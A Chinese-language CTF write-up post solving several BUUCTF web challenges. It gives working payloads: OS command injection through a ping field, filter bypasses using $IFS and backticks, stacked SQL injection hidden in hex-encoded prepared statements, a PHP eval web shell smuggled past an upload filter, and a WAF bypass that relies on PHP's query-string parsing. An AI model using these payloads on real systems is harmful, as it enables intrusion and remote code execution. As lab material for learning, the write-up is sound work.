BUUCTF-几道简单的题

[ACTF2020 新生赛]Exec

只有一个文本框,并且输入域名可以ping,返回控制台的结果。

尝试命令截断:

1
localhost; ls

成功返回:

1
2
3
4
5
6
7
8
9
PING localhost (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.025 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.043 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.048 ms

--- localhost ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.025/0.038/0.048 ms
index.php

exp:

1
localhost; cat /flag

[GXYCTF2019]Ping Ping Ping

和上面那道题一样,不过加了输入验证。

尝试fuzz。,不,甚至不用fuzz,直接?ip=localhost;ls就可以直接ls出来内容

1
2
3
4
5
6
7
8
9
10
11
PING localhost (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.026 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.045 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.063 ms
64 bytes from 127.0.0.1: seq=3 ttl=42 time=0.045 ms

--- localhost ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.026/0.044/0.063 ms
flag.php
index.php

又学会一手:用反引号获取输出,可以和管道符搭配使用

1
?ip=localhost;cat$IFS`ls`;

[强网杯2019] 随便注

解题思路

preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

堆叠注入;使用1';<query>;#进行堆叠注入。

在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。

可以进行十六进制编码绕过一些特定过滤,如

1
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
  • prepare…from…是预处理语句,会进行编码转换。
  • execute用来执行由SQLPrepare创建的SQL语句。
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

yakit可以直接右键十六进制编码

[极客大挑战 2019]Upload

上传时限制了后缀,可以直接改文件名绕过;然后Content-Type: image/jpeg绕过

屏蔽了<?,可以通过phtml绕过:

1
GIF89a?<script language="php">eval($_GET['cmd']);</script>

[RoarCTF 2019]Easy Calc

参考(全文摘抄)
参考2

命令执行绕过:PHP传入时拒绝接受字母
PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

  • 1.删除空白符
  • 2.将某些字符转换为下划线(包括空格)

在了解到PHP的字符串解析之后,我们思考一个问题,WAF它不让num参数传入字母,所以我们不能让WAF文件检测到字母,但是我们又需要传入字母来构成我们的命令,这种情况下我们该怎么对其进行绕过呢?

绕过方法

因为num不可以传入字母,但是我们在num参数之前添加一个空格,这样在PHP的语言特性下会默认删除这个空格,但是WAF会因为这个空格导致检测不到num这个参数,最终导致WAF被绕过。

[极客大挑战 2019]HardSQL

参考

Xpath报错注入